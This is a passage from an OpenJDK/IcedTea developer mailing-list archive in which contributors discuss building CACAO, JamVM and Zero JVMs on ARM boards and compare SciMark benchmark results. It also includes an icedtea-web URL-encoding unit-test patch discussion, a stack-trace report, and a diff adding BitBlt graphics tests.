<1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: Hi Greg, On 18 December 2012 18:02, Greg Johnson wrote: > > Under Debian, I have this: > # java -version > java version "1.6.0_18" > OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) > OpenJDK Zero VM (build 14.0-b16, mixed mode) > > Under Fedora, I have this: > # java -version > java version "1.7.0_b147-icedtea" > OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) > OpenJDK Zero VM (build 22.0-b10, interpreted mode) > > Both are using Zero VM, but with different modes. Then I received this > explanation from the Raspberry Pi forums: > -------------------------------------- > The main reason why you see a magnitude difference in the Debian vs Fedora > results really boils down to that there exist two variants of Zero. > > In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted > mode) > This is using the C++ interpreter only. > > In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) > The "mixed mode" version contains two addons, designed by Edward Nevill, on > top of the generic Zero C++ interpreter, a rewritten interpreter main loop > in ARM assembly this speeds up the jvm about a factor x3 this do benefit the > Pi. > The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 > cores and later, the Pi could benefit from this JIT if it got rewritten from > Thumb2 to target generic ARM or Thumb1 assembly. > ----------------------------------------- > Performance-wise JamVM is faster than the assembly interpreter but slower than the Thumb2 JIT. However this doesn't work on the Pi, so JamVM should be faster than what you used on Debian (as long as it was on the Pi). > The Thumb2 info is out of my league. However, the disparity on performance > was drastic, thus I searched out other avenues. Cacao was suggested, so I > thought I'd try it out. Since it won't compile on 32bit x86, I have no hope > of compiling it on ARM. I guess my search continues.... :-( Stefan > suggested JamVM as a possibility. Off I go. :-) JamVM is easy to build. It takes about 6 minutes for a full build on the Pi (armhf). You can follow the instructions here: http://draenog.blogspot.co.uk/2011/02/openjdkjamvm-git-repository.html They are slightly out of date. When it says: ./autogen.sh --with-java-runtime-library=openjdk You now need to give openjdk6 or openjdk7, as the VM now needs to be build slightly differently. Rob. From rob.lougher at gmail.com Tue Dec 18 13:44:23 2012 From: rob.lougher at gmail.com (Robert Lougher) Date: Tue, 18 Dec 2012 21:44:23 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: On 18 December 2012 21:00, Robert Lougher wrote: > Hi Greg, > > On 18 December 2012 18:02, Greg Johnson wrote: >> >> Under Debian, I have this: >> # java -version >> java version "1.6.0_18" >> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >> OpenJDK Zero VM (build 14.0-b16, mixed mode) >> >> Under Fedora, I have this: >> # java -version >> java version "1.7.0_b147-icedtea" >> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >> >> Both are using Zero VM, but with different modes. Then I received this >> explanation from the Raspberry Pi forums: >> -------------------------------------- >> The main reason why you see a magnitude difference in the Debian vs Fedora >> results really boils down to that there exist two variants of Zero. >> >> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted >> mode) >> This is using the C++ interpreter only. >> >> In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) >> The "mixed mode" version contains two addons, designed by Edward Nevill, on >> top of the generic Zero C++ interpreter, a rewritten interpreter main loop >> in ARM assembly this speeds up the jvm about a factor x3 this do benefit the >> Pi. >> The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 >> cores and later, the Pi could benefit from this JIT if it got rewritten from >> Thumb2 to target generic ARM or Thumb1 assembly. >> ----------------------------------------- >> > > Performance-wise JamVM is faster than the assembly interpreter but > slower than the Thumb2 JIT. However this doesn't work on the Pi, so > JamVM should be faster than what you used on Debian (as long as it was > on the Pi). > Some numbers (SciMark is far from my favourite but it runs quickly): rob at terminus ~ $ java -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) OpenJDK Zero VM (build 22.0-b10, mixed mode) rob at terminus ~ $ rob at terminus ~ $ java -jamvm -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching) rob at terminus ~ $ rob at terminus ~ $ java -jamvm -cp scimark2lib.jar jnt.scimark2.commandline SciMark 2.0a Composite Score: 5.5537918178428125 FFT (1024): 3.5766089775997916 SOR (100x100): 10.826562572167525 Monte Carlo : 1.0230009994051166 Sparse matmult (N=1000, nz=5000): 5.1887509149849 LU (100x100): 7.154035625056732 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 3.2.27+ rob at terminus ~ $ java -cp scimark2lib.jar jnt.scimark2.commandline SciMark 2.0a Composite Score: 3.025386835322935 FFT (1024): 1.769265203055126 SOR (100x100): 6.539676672735603 Monte Carlo : 0.627889791674138 Sparse matmult (N=1000, nz=5000): 2.660431296672497 LU (100x100): 3.5296712124773117 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 3.2.27+ rob at terminus ~ $ >> The Thumb2 info is out of my league. However, the disparity on performance >> was drastic, thus I searched out other avenues. Cacao was suggested, so I >> thought I'd try it out. Since it won't compile on 32bit x86, I have no hope >> of compiling it on ARM. I guess my search continues.... :-( Stefan >> suggested JamVM as a possibility. Off I go. :-) > From Peter.B.Kessler at Oracle.COM Tue Dec 18 13:58:51 2012 From: Peter.B.Kessler at Oracle.COM (Peter B. Kessler) Date: Tue, 18 Dec 2012 13:58:51 -0800 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: <50D0E71B.4030504@Oracle.COM> You can combine printing the version stamp and running your program with, for example $ java -showversion HelloWorld java version "1.7.0_07" Java(TM) SE Runtime Environment (build 1.7.0_07-b10) Java HotSpot(TM) Server VM (build 23.3-b01, mixed mode) Hello world! I find that helps me not forget which JVM generated which output, e.g., in logged output. ... peter Robert Lougher wrote: > On 18 December 2012 21:00, Robert Lougher wrote: >> Hi Greg, >> >> On 18 December 2012 18:02, Greg Johnson wrote: >>> Under Debian, I have this: >>> # java -version >>> java version "1.6.0_18" >>> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >>> OpenJDK Zero VM (build 14.0-b16, mixed mode) >>> >>> Under Fedora, I have this: >>> # java -version >>> java version "1.7.0_b147-icedtea" >>> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >>> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >>> >>> Both are using Zero VM, but with different modes. Then I received this >>> explanation from the Raspberry Pi forums: >>> -------------------------------------- >>> The main reason why you see a magnitude difference in the Debian vs Fedora >>> results really boils down to that there exist two variants of Zero. >>> >>> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted >>> mode) >>> This is using the C++ interpreter only. >>> >>> In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) >>> The "mixed mode" version contains two addons, designed by Edward Nevill, on >>> top of the generic Zero C++ interpreter, a rewritten interpreter main loop >>> in ARM assembly this speeds up the jvm about a factor x3 this do benefit the >>> Pi. >>> The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 >>> cores and later, the Pi could benefit from this JIT if it got rewritten from >>> Thumb2 to target generic ARM or Thumb1 assembly. >>> ----------------------------------------- >>> >> Performance-wise JamVM is faster than the assembly interpreter but >> slower than the Thumb2 JIT. However this doesn't work on the Pi, so >> JamVM should be faster than what you used on Debian (as long as it was >> on the Pi). >> > > Some numbers (SciMark is far from my favourite but it runs quickly): > > rob at terminus ~ $ java -version > java version "1.7.0_07" > OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) > OpenJDK Zero VM (build 22.0-b10, mixed mode) > rob at terminus ~ $ > rob at terminus ~ $ java -jamvm -version > java version "1.7.0_07" > OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) > JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching) > rob at terminus ~ $ > rob at terminus ~ $ java -jamvm -cp scimark2lib.jar jnt.scimark2.commandline > > SciMark 2.0a > > Composite Score: 5.5537918178428125 > FFT (1024): 3.5766089775997916 > SOR (100x100): 10.826562572167525 > Monte Carlo : 1.0230009994051166 > Sparse matmult (N=1000, nz=5000): 5.1887509149849 > LU (100x100): 7.154035625056732 > > java.vendor: Oracle Corporation > java.version: 1.7.0_07 > os.arch: arm > os.name: Linux > os.version: 3.2.27+ > rob at terminus ~ $ java -cp scimark2lib.jar jnt.scimark2.commandline > > SciMark 2.0a > > Composite Score: 3.025386835322935 > FFT (1024): 1.769265203055126 > SOR (100x100): 6.539676672735603 > Monte Carlo : 0.627889791674138 > Sparse matmult (N=1000, nz=5000): 2.660431296672497 > LU (100x100): 3.5296712124773117 > > java.vendor: Oracle Corporation > java.version: 1.7.0_07 > os.arch: arm > os.name: Linux > os.version: 3.2.27+ > rob at terminus ~ $ > >>> The Thumb2 info is out of my league. However, the disparity on performance >>> was drastic, thus I searched out other avenues. Cacao was suggested, so I >>> thought I'd try it out. Since it won't compile on 32bit x86, I have no hope >>> of compiling it on ARM. I guess my search continues.... :-( Stefan >>> suggested JamVM as a possibility. Off I go. :-) From stefan at complang.tuwien.ac.at Tue Dec 18 14:00:00 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:00:00 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > I have a build running at the moment, and I expect it to be a few more > hours before I can say something about the outcome. It will definitely > not be 2 weeks ;). On my SheevaPlug with Fedora 17: #-- Build times ---------- Target all_product_build Start 2012-12-18 11:50:13 End 2012-12-18 18:25:15 01:00:06 corba 00:23:37 jaxp 00:26:32 jaxws 04:23:02 jdk 00:21:45 langtools 06:35:02 TOTAL ------------------------- IcedTea is served: /home/sr/staging/staging-build7/icedtea7/openjdk.build real 424m53.696s user 396m50.460s sys 8m58.030s $ ./staging-build7/icedtea7/openjdk.build/j2sdk-image/bin/java -version java version "1.7.0_12" IcedTea Runtime Environment (2.4pre+r8e3208997140) (Fedora build 1.7.0_12-b03+rb10e1311a206) CACAO (build 1.6.0+ra97f753cfb7a, compiled mode) The IcedTea version is actually ff15cee90ed8, merged with my cacao stuff. Built like this: $ ./autogen.sh && ./configure --with-parallel-jobs=1 --enable-cacao --disable-bootstrap --disable-docs --disable-system-lcms --disable-system-zlib --disable-system-gio --disable-system-gtk --disable-downloading --with-openjdk-src-dir=/home/sr/staging/forest7 --with-cacao-src-dir=../cacao && make CACAO_CONFIGURE_ARGS="--enable-softfloat" So apparently no problem here. From smohammad at redhat.com Tue Dec 18 14:13:05 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Tue, 18 Dec 2012 17:13:05 -0500 Subject: [RFC][icedtea-web]: Fix PR909 - The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails In-Reply-To: <50865DAB.5010904@redhat.com> References: <85828911.69079417.1347544752233.JavaMail.root@redhat.com> <50570F99.1060506@redhat.com> <50637FEB.6090709@redhat.com> <50865DAB.5010904@redhat.com> Message-ID: <50D0EA71.6000902@redhat.com> On 10/23/2012 05:04 AM, Jiri Vanek wrote: > > Hi! > > Looks much better:) > > There is unit test for this behaviour in > tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java > a) ensure it is passing with your fix* > b) add unit test with @bug which is testing your new behaviour (focused on 909 > simulation) > > * I'm not sure how your patch is behaving when unexpected (encoded/decoded to > expected decoded/encoded) (lines 52-64 of your patch) state of coding is > delivered. If your fix pass above test, then it should be ok. > As far as I tested it, you are failing for item 1 an 3 in unittest:( > For 1 it is clear failure - try eg > "http://localhost:44321/gg%2Ffgg%15fdgfd%45fdg" where it is better to see, for > 2, you can remove this test. > The failure (1) is hard to explain. Just from quick check - it looks like url > and uri are making different encding/decoding. Please, investigate on it. > > Otherwise I have no objection against code and logic. > > Than you for fixing it. > > J. Hi Jiri, Sorry for the late reply. Attached you'll find the patch with unit-test changes to better work with PR909 fix. Below is a little explanation of these changes. I also added a test which validates PR909's case. Let me know your thoughts! Bug report: (Basically '=' is being encoded to '%3D' when it shouldn't be) ** NOTES ** After taking a further look into the problem within ResourceTrackerTest.java, I believe the issue is behind the test and not with URI encoding/decoding. The reasoning to these failure are because: 1) URI.encode will encode '+' to '%20', test expects '+' to remain static - I think it's fine as they both represent the same value 2) URI.encode will always decode '%2F' to the decoded value ('/') - Problems can arise if the server allows percent encoded slashes These two particular tests can be removed IMO. But like I mentioned above, there may be problems if a server configuration allows encoded characters in their URI. URI encoding is not a perfect representation of RFC3986 specification, but it does do a better job than our current implementation (also fixing this bug). ** OTHER NOTES ** Here are the difference I found between URI encoding and our current implementation. URI will _encode_ but our current implementation will not: " + URI will _not_encode_ but our current implementation will: : ; = (This is what causes PR909) @ ~ % ? ======================================================================== CHANGELOG - BUG FIX ======================================================================== 2012-12-18 Saad Mohammad * tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java: Added test and changes to work better with PR909 fix. -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: unittest0-3.patch Type: text/x-patch Size: 2519 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/e25efdad/unittest0-3.patch From gregjo at yahoo.com Tue Dec 18 14:27:54 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 14:27:54 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> >>...Built like this: >> >> $ ./autogen.sh && ./configure --with-parallel-jobs=1 --enable-cacao >> --disable-bootstrap --disable-docs --disable-system-lcms >> --disable-system-zlib --disable-system-gio --disable-system-gtk >> --disable-downloading --with-openjdk-src-dir=/home/sr/staging/forest7 >> --with-cacao-src-dir=../cacao && make >>CACAO_CONFIGURE_ARGS="--enable-softfloat" >> >> So apparently no problem here. Stefan, thanks for all your help. I can see that you've disabled a lot in your build script, which I am going to try on the Raspberry Pi. That certainly should make the compile go a lot quicker. However, I did try it again on 32bit x86. It still fails with an out of memory error. :-( Anyway, I'll crank up the Pi and ..... wait. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/cb3a37b6/attachment.html From stefan at complang.tuwien.ac.at Tue Dec 18 14:33:17 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:33:17 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > Stefan, thanks for all your help. I can see that you've disabled a lot in > your build script, which I am going to try on the Raspberry Pi. That > certainly should make the compile go a lot quicker. However, I did try it > again on 32bit x86. It still fails with an out of memory error. :-( > Anyway, I'll crank up the Pi and ..... wait. :-) It's not disabled for speed, though, but because the configure script complained about these. Or should I say, the configure script used to complain many versions ago, and I have not bothered taking them out since... ;). I'll try to find out if they are still necessary. From stefan at complang.tuwien.ac.at Tue Dec 18 14:37:42 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:37:42 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: > Some numbers (SciMark is far from my favourite but it runs quickly): I couldn't resist trying out my new armhf build, on armv7. And finally, after CACAO has not exactly excelled in recent benchmarks, these numbers are quite nice. CACAO uses only ARM instructions, not Thumb. I am aware the two results below are not exactly comparable, as they are completely different versions of OpenJDK, but in my experience this doesn't usually make a significant difference. I'll follow once I've got builds carrying the same versions. $ java -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1ubuntu1) OpenJDK Zero VM (build 22.0-b10, mixed mode) SciMark 2.0a Composite Score: 9.266224775341563 FFT (1024): 6.000387736394497 SOR (100x100): 14.77363612463465 Monte Carlo : 4.205870056417998 Sparse matmult (N=1000, nz=5000): 10.641725186689987 LU (100x100): 10.709504772570675 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 2.6.38-1003-linaro-omap $ /java -version java version "1.6.0_27" IcedTea Runtime Environment (1.12pre+rcea49ba2afcd) (Ubuntu build 1.6.0_27-b27) CACAO (build 1.6.0+r7b895f84c93e, compiled mode) SciMark 2.0a Composite Score: 21.811965095350477 FFT (1024): 11.069763827433377 SOR (100x100): 45.242182823092065 Monte Carlo : 2.962079078090587 Sparse matmult (N=1000, nz=5000): 25.04432965236223 LU (100x100): 24.74147009577412 java.vendor: Sun Microsystems Inc. java.version: 1.6.0_27 os.arch: arm os.name: Linux os.version: 2.6.38-1003-linaro-omap From gregjo at yahoo.com Tue Dec 18 15:06:58 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 15:06:58 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: <1355872018.92789.YahooMailNeo@web125002.mail.ne1.yahoo.com> >>JamVM is easy to build.? It takes about 6 minutes for a full build on >>the Pi (armhf).? You can follow the instructions here: >>http://draenog.blogspot.co.uk/2011/02/openjdkjamvm-git-repository.html Robert, thanks so much for the info you've provided! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/df8ac837/attachment.html From ChrisPhi at redhat.com Tue Dec 18 17:18:57 2012 From: ChrisPhi at redhat.com (Chris Phillips) Date: Tue, 18 Dec 2012 20:18:57 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... Message-ID: <50D11601.9010108@RedHat.Com> Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. Please review. Cheers! Chris PS Webrev is here: http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ -------------- next part -------------- A non-text attachment was scrubbed... Name: zero-it7-head-2012_12_13.patch Type: text/x-patch Size: 46566 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/2bdd603f/zero-it7-head-2012_12_13.patch From amiko212 at 126.com Wed Dec 19 00:43:34 2012 From: amiko212 at 126.com (liu chao jun) Date: Wed, 19 Dec 2012 16:43:34 +0800 (CST) Subject: run -Xcomp -help error In-Reply-To: <50D11601.9010108@RedHat.Com> References: <50D11601.9010108@RedHat.Com> Message-ID: <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> HI all , when i working on IcedTea 1-11-4 against shark .3.1 on the ,when run -Xcomp -help the following error happened after finish its execution ,And I found it seems there is samewhere which should used "JR"but use"JARL" so the addrss jump to a wrong memory address , unluckly ,i can find the address where it used ,of course maybe there is other reasons that can lead to this error,Is anybody met this or similar this ago , thank you very much ! it seems a Exception in thread "main" java.lang.NullPointerException: at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:796) at sun.util.LocaleServiceProviderPool.getPool(LocaleServiceProviderPool.java:96) at java.text.DecimalFormatSymbols.getInstance(DecimalFormatSymbols.java:147) at java.text.NumberFormat.getInstance(NumberFormat.java:767) at java.text.NumberFormat.getInstance(NumberFormat.java:393) at java.text.MessageFormat.subformat(MessageFormat.java:1254) at java.text.MessageFormat.format(MessageFormat.java:853) at java.text.Format.format(Format.java:157) at java.text.MessageFormat.format(MessageFormat.java:829) at sun.launcher.LauncherHelp.getLocalizedMessage(LauncherHelp.java:63) at sun.launcher.LauncherHelp.initHelpMessage(LauncherHelp.java:75) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/bef922db/attachment.html From stefan at complang.tuwien.ac.at Wed Dec 19 00:46:59 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Wed, 19 Dec 2012 09:46:59 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > It's not disabled for speed, though, but because the configure script > complained about these. Or should I say, the configure script used to > complain many versions ago, and I have not bothered taking them out > since... ;). I'll try to find out if they are still necessary. I've removed all of the --disable-system- switches now, and it makes absolutely no difference in build time. KR From ptisnovs at icedtea.classpath.org Wed Dec 19 01:55:53 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 19 Dec 2012 09:55:53 +0000 Subject: /hg/gfx-test: Added eleven new tests to the test suite src/org/g... Message-ID: changeset e7ebb5543c97 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=e7ebb5543c97 author: Pavel Tisnovsky date: Wed Dec 19 10:58:55 2012 +0100 Added eleven new tests to the test suite src/org/gfxtest/testsuites/BitBltBasicTests.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 165 +++++++++++++++++++++++ 2 files changed, 170 insertions(+), 0 deletions(-) diffs (187 lines): diff -r 33c1e093e894 -r e7ebb5543c97 ChangeLog --- a/ChangeLog Tue Dec 18 09:50:58 2012 +0100 +++ b/ChangeLog Wed Dec 19 10:58:55 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-19 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + Added eleven new tests to this test suite. + 2012-12-18 Pavel Tisnovsky * src/org/gfxtest/testsuites/Paths.java: diff -r 33c1e093e894 -r e7ebb5543c97 src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Tue Dec 18 09:50:58 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Wed Dec 19 10:58:55 2012 +0100 @@ -2082,6 +2082,171 @@ } /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_BGR); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_ARGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_ARGB_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntARGB_Pre(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_4BYTE_ABGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType4ByteABGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_4BYTE_ABGR_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType4ByteABGR_PRE(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR_PRE); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_BYTE_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshortGray(TestImage image, 